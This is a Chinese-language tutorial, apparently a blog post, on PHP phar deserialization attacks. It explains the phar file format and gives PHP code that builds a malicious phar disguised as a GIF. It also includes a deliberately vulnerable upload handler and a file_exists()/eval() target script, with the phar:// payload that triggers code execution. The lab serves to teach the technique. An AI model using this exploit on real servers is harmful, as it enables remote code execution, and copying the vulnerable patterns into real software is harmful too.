phar反序列化
我们一般利用反序列漏洞,一般都是借助unserialize()函数,不过随着人们安全的意识的提高这种漏洞利用越来越来难了,但是在今年8月份的Blackhat2018大会上,来自Secarma的安全研究员Sam Thomas讲述了一种攻击PHP应用的新方式,利用这种方法可以在不使用unserialize()函数的情况下触发PHP反序列化漏洞。漏洞触发是利用Phar:// 伪协议读取phar文件时,会反序列化meta-data储存的信息。
一. PHAR简介
PHAR (“Php ARchive”) 是PHP里类似于JAR的一种打包文件,在PHP 5.3 或更高版本中默认开启,这个特性使得 PHP也可以像 Java 一样方便地实现应用程序打包和组件化。一个应用程序可以打成一个 Phar 包,直接放到 PHP-FPM 中运行。
二. PHAR文件结构
Phar文件主要包含三至四个部分:
1. a stub
stub的基本结构:xxx<?php xxx;__HALT_COMPILER();?>
,前面内容不限,但必须以__HALT_COMPILER();?>
来结尾,否则phar扩展将无法识别这个文件为phar文件。
2. a manifest describing the contents
Phar文件中被压缩的文件的一些信息,其中Meta-data部分的信息会以序列化的形式储存,这里就是漏洞利用的关键点
3. the file contents
被压缩的文件内容,在没有特殊要求的情况下,这个被压缩的文件内容可以随便写的,因为我们利用这个漏洞主要是为了触发它的反序列化
4. a signature for verifying Phar integrity
签名格式
来个小例子
根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作
注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。
phar.php
1 <?php
2 class TestObject {
3 }
4 $phar = new Phar("phar.phar"); //后缀名必须为phar
5 $phar->startBuffering();
6 $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
7 $o = new TestObject();
8 $o -> data='hu3sky';
9 $phar->setMetadata($o); //将自定义的meta-data存入manifest
10 $phar->addFromString("test.txt", "test"); //添加要压缩的文件
11 //签名自动计算
12 $phar->stopBuffering();
13 ?>
访问后,会生成一个phar.phar在当前目录下。
用winhex打开
可以明显的看到meta-data是以序列化的形式存储的。
有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://
伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:
phar_fan.php
1 <?php
2 class TestObject{
3 function __destruct()
4 {
5 echo $this -> data; // TODO: Implement __destruct() method.
6 }
7 }
8 include('phar://phar.phar');
9 ?>
可以看到成功触发了反序列化
三. 漏洞验证
环境准备
upload_file.php,后端检测文件上传,文件类型是否为gif,文件后缀名是否为gif
upload_file.html 文件上传表单
file_un.php 存在file_exists(),并且存在__destruct()
利用条件
phar文件要能够上传到服务器端。
如file_exists(),fopen(),file_get_contents(),file()等文件操作的函数
要有可用的魔术方法作为“跳板”。
文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。
文件内容
upload_file.php
1 <?php
2 if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
3 echo "Upload: " . $_FILES["file"]["name"];
4 echo "Type: " . $_FILES["file"]["type"];
5 echo "Temp file: " . $_FILES["file"]["tmp_name"];
6
7 if (file_exists("upload_file/" . $_FILES["file"]["name"]))
8 {
9 echo $_FILES["file"]["name"] . " already exists. ";
10 }
11 else
12 {
13 move_uploaded_file($_FILES["file"]["tmp_name"],
14 "upload_file/" .$_FILES["file"]["name"]);
15 echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
16 }
17 }
18 else
19 {
20 echo "Invalid file,you can only upload gif";
21 }
upload_file.html
1 <body>
2 <form action="http://localhost/phar/upload_file.php" method="post" enctype="multipart/form-data">
3 <input type="file" name="file" />
4 <input type="submit" name="Upload" />
5 </form>
6 </body>
file_un.php
1 <?php
2 $filename=$_GET['filename'];
3 class AnyClass{
4 var $output = 'echo "ok";';
5 function __destruct()
6 {
7 eval($this -> output);
8 }
9 }
10 file_exists($filename);
实现过程
首先是根据file_un.php写一个生成phar的php文件,当然需要绕过gif,所以需要加GIF89a,然后我们访问这个php文件后,生成了phar.phar,修改后缀为gif,上传到服务器,然后利用file_exists,使用phar://
执行代码
构造代码
eval.php
1 <?php
2 class AnyClass{
3 var $output = 'echo "ok";';
4 function __destruct()
5 {
6 eval($this -> output);
7 }
8 }
9 $phar = new Phar('phar.phar');
10 $phar -> stopBuffering();
11 $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
12 $phar -> addFromString('test.txt','test');
13 $object = new AnyClass();
14 $object -> output= 'phpinfo();';
15 $phar -> setMetadata($object);
16 $phar -> stopBuffering();
访问eval.php,会在当前目录生成phar.phar,然后修改后缀 gif
进行上传
然后利用file_un.php。
payload:filename=phar://upload_file/phar.gif
参考:https://xz.aliyun.com/t/2715
phar反序列化的更多相关文章
- phar 反序列化学习
前言 phar 是 php 支持的一种伪协议, 在一些文件处理函数的路径参数中使用的话就会触发反序列操作. 利用条件 phar 文件要能够上传到服务器端. 要有可用的魔术方法作为"跳板&qu ...
- php phar反序列化任意执行代码
2018年 原理一.关于流包装stream wrapper大多数的文件操作允许使用各种URL协议去访问文件路径,如data://,zlib://,php://例如常见的有include('php:// ...
- Natas33 Writeup(Phar反序列化漏洞)
Natas33: 又是一个上传文件的页面,源码如下: // graz XeR, the first to solve it! thanks for the feedback! // ~morla cl ...
- 初识phar反序列化&&复现bytectf_2019_easycms&&RSS思路
概要 来自Secarma的安全研究员Sam Thomas发现了一种新的漏洞利用方式,可以在不使用php函数unserialize()的前提下,引起严重的php对象注入漏洞.这个新的攻击方式被他公开在了 ...
- 关于phar反序列化——BUUCTF-[CISCN2019 华北赛区 Day1 Web1]Dropbox
太难了QAQ 先看看phar是啥https://blog.csdn.net/u011474028/article/details/54973571 简单的说,phar就是php的压缩文件,它可以把多个 ...
- PHP Phar反序列化学习
PHP Phar反序列化学习 Phar Phar是PHP的压缩文档,是PHP中类似于JAR的一种打包文件.它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句. 默认开启版 ...
- 谈一谈phar 反序列化
前言 来自Secarma的安全研究员Sam Thomas发现了一种新的漏洞利用方式,可以在不使用php函数unserialize()的前提下,引起严重的php对象注入漏洞.这个新的攻击方式被他公开在了 ...
- PHP反序列化漏洞新攻击面(BlackHat 2018)
0x00 前言 入职以来好久没有写过文章了,入职的时间里也和师傅们学到了很多,认识了很多的新朋友.最近因为BlackHat 黑客大会的一个议题,PHP反序列化漏洞利用被挖掘出新的攻击面.这里本着记 ...
- 浅谈PHP反序列化漏洞原理
序列化与反序列化 序列化用途:方便于对象在网络中的传输和存储 0x01 php反序列化漏洞 在PHP应用中,序列化和反序列化一般用做缓存,比如session缓存,cookie等. 常见的序列化格式: ...
随机推荐
- libevent 资源链接
* libevent官网:http://libevent.org/ * libevent API:http://www.monkey.org/~provos/libevent/doxygen-2.0 ...
- 通过Docker部署Java项目的日志输出到宿主机指定目录
之前写过2篇关于Docker部署的文章: 1.超!超!超简单,Linux安装Docker 2.Docker通过阿里云镜像仓库使用Gitlab_CI部署SpringBoot项目 用上篇博客部署Java程 ...
- 多个工作簿拆分(Excel代码集团)
一个文件夹里有N个工作簿,每个工作簿中包括N个工作表,将各个工作表拆分成工作簿,命名为每个工作簿里第一个工作表的A列和B列. 工作簿.工作表数量不定,表内内容不限,拆分后保存于当前文件夹下的" ...
- 嵌入式实验一:LED灯点亮
实验一:LED灯程序 一. 实验环境 开发机环境 操作系统:ubuntu 12.04 交叉编译环境:arm-linux-gcc 4.3.2 6410板子内核源码:linux-3.0.1 目 ...
- AT2686 [ARC080A] 4-adjacent 题解
Content 给定一个长度为 \(n\) 的数列 \(a\),请将其重新排列,使得 \(\forall i\in[1,n-1]\),都有 \(4\mid (a_i\cdot a_{i+1})\),或 ...
- DNS解析超时排查/etc/resolv.conf single-request-reopen参数说明
添加 options rotate timeout:1 attempts:3 single-request-reopen 添加到/etc/resolv.conf 中 #释义: 循环查询 超时时间 重试 ...
- word里搜狗输入法出不来,可以按ctrl+空格键
word里搜狗输入法出不来,可以按ctrl+空格键
- Linux httpd搭建
Linux 搭建网站 配置网络 1 改对应配置文件 vi /etc/sysconfig/network-scripts/ifcfg-ens32 2 使用命令 nmcli connection add ...
- JAVA中BufferedImage与byte[]转换
BufferedImage转byte[] ByteArrayOutputStream out = new ByteArrayOutputStream(); ImageIO.write(imgBuff, ...
- JAVAWeb项目实现在线预览、打开office文件
Web项目实现在线预览浏览word.ppt.excel文档方法 调用以下链接 https://view.officeapps.live.com/op/view.aspx?src=你的文档绝对路径 这里 ...